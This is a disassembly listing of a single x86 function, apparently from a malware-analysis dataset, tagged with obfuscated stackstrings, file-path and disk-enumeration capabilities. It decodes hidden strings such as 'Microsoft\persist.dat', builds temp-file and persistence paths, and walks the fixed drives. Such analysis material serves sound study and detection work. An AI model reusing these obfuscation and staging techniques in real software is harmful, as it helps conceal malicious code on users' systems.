Function at 0x63087d8b
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get disk information

Disassembly:
push ebp
mov edx, 0x6315fe80
xor eax, eax
mov ecx, 0x200
mov ebp, esp
push edi
push esi
push ebx
mov edi, edx
mov edx, 0x6315fc80
lea ebx, [ebp - 0x418]
lea esi, [ebp - 0x618]
sub esp, 0x63c
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, pe_nt_image_headers32
mov edx, 0x6315f480
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x6315ec80
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x6315e480
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x6315dc80
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x6315d480
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x6315cc80
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x6315c480
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x6315bc80
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x6315b480
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x6315ac80
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x6315a480
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x63159c80
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
mov edx, 0x63159480
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x200
rep stosd dword es:[edi], eax
mov edi, ebx
mov ecx, pe_nt_image_headers32
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [esp], 0x6315fe80
mov edi, esi
mov dword [esp + 4], eax
call fcn.630871b1
mov dword [esp], ebx
mov dword [esp + 4], 0x6315fe80
call fcn.63087317
mov dword [esp + 4], ebx
mov dword [esp], 0x6315fc80
lea ebx, [ebp - 0x218]
call fcn.63087373
mov dword [esp + 4], 0x6315fe80
mov dword [esp], 0x6315f480
call fcn.630873c4
mov dword [esp], 0x6315f480
call fcn.630852d2
mov dword [esp + 4], 0x63160680
mov dword [esp], 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ecx
push ecx
mov dword [esp], 0x63160680
call fcn.630852d2
mov dword [esp + 4], 0x1a
mov dword [esp], 0x63160e80
call fcn.6308559f
mov dword [esp], 0x63160e80
call fcn.630852d2
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov edi, ebx
mov ecx, pe_nt_image_headers32
rep stosd dword es:[edi], eax
mov dword [esp], esi
mov dword [esp + 4], str.TWljcm9zb2Z0XFNlYXJjaFw
mov edi, esi
call fcn.63087c5e
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 8], 0x100
call sub.msvcrt.dll_mbstowcs
mov dword [esp + 4], 0x63160e80
mov dword [esp], 0x6315ec80
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], ebx
mov dword [esp], 0x6315ec80
call sub.msvcrt.dll_wcscat
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov edi, ebx
mov ecx, pe_nt_image_headers32
rep stosd dword es:[edi], eax
mov dword [esp], esi
mov dword [esp + 4], str.V0VSOW1zby5kaXIwMFw
mov edi, esi
call fcn.63087c5e
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 8], 0x100
call sub.msvcrt.dll_mbstowcs
mov dword [esp + 4], 0x63160680
mov dword [esp], 0x6315e480
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], ebx
mov dword [esp], 0x6315e480
call sub.msvcrt.dll_wcscat
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov edi, ebx
mov ecx, pe_nt_image_headers32
rep stosd dword es:[edi], eax
mov dword [esp], esi
mov dword [esp + 4], str.TWljcm9zb2Z0XHBlcnNpc3QuZGF0
call fcn.63087c5e
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 8], 0x100
call sub.msvcrt.dll_mbstowcs
mov dword [esp + 4], 0x63160e80
mov dword [esp], 0x6315dc80
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], ebx
mov dword [esp], 0x6315dc80
lea ebx, [ebp - 0x518]
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], 0x6315ec80
mov dword [esp], 0x6315d480
mov edi, ebx
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], 0x63163680
mov dword [esp], 0x6315d480
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], 0x630c4688
mov dword [esp], 0x6315d480
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], str.._
mov dword [esp], 0x6315cc80
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], 0x6315e480
mov dword [esp], 0x6315cc80
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], 0x63163480
mov dword [esp], 0x6315cc80
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], 0x630c4688
mov dword [esp], 0x6315cc80
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], 7
mov dword [esp], 0x6315c480
call fcn.6308559f
mov dword [esp], 0x6315c480
call fcn.630852d2
mov dword [esp + 4], 0x63163780
mov dword [esp], 0x6315c480
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], 0x630c4688
mov dword [esp], 0x6315c480
call sub.msvcrt.dll_wcscat
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x61c]
mov dword [esp + 4], ebx
mov dword [esp], 0x100
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push esi
push esi
xor esi, esi
mov al, byte [ebx + esi]
test al, al
jne 0x6308815a
add esi, 4
cmp esi, 0x100
jne 0x63088130
lea eax, [ebp - 0x61c]
mov dword [esp + 4], 0x630c4790
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
jmp 0x6308819d
movsx edx, al
mov dword [esp], edx
mov dword [ebp - 0x62c], edx
call dword [sym.imp.msvcrt.dll_tolower]
and eax, 0xfffffffd
cmp eax, 0x61
je 0x63088137
mov edx, dword [ebp - 0x62c]
mov dword [esp + 4], str._c:_
mov dword [esp], edi
mov dword [esp + 8], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
push edx
jne 0x63088137
movsx eax, byte [ebp - 0x61c]
mov dword [esp + 0xc], 0x63163280
mov dword [esp + 4], str._c:Program_Files_ls_
mov dword [esp], 0x6315b480
mov dword [esp + 8], eax
call fcn.63081580
mov dword [esp + 4], 0x6315b480
mov dword [esp], 0x6315bc80
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], 0x63163380
mov dword [esp], 0x6315bc80
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], 0x630c4688
mov dword [esp], 0x6315bc80
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], 0x63160680
mov dword [esp], 0x6315ac80
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], str.SMR9S8973LABX9C1C3.TMP
mov dword [esp], 0x6315ac80
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], 0x63160680
mov dword [esp], 0x6315a480
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], str.CMR9H8973LABX9C1C3.TMP
mov dword [esp], 0x6315a480
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], 0x63160680
mov dword [esp], 0x63159c80
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], str.QMR9D8973LABX9C1C3.TMP
mov dword [esp], 0x63159c80
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], 0x63160680
mov dword [esp], 0x63159480
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], str.UMR9X8973LABX9C1C3.TMP
mov dword [esp], 0x63159480
call sub.msvcrt.dll_wcscat
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret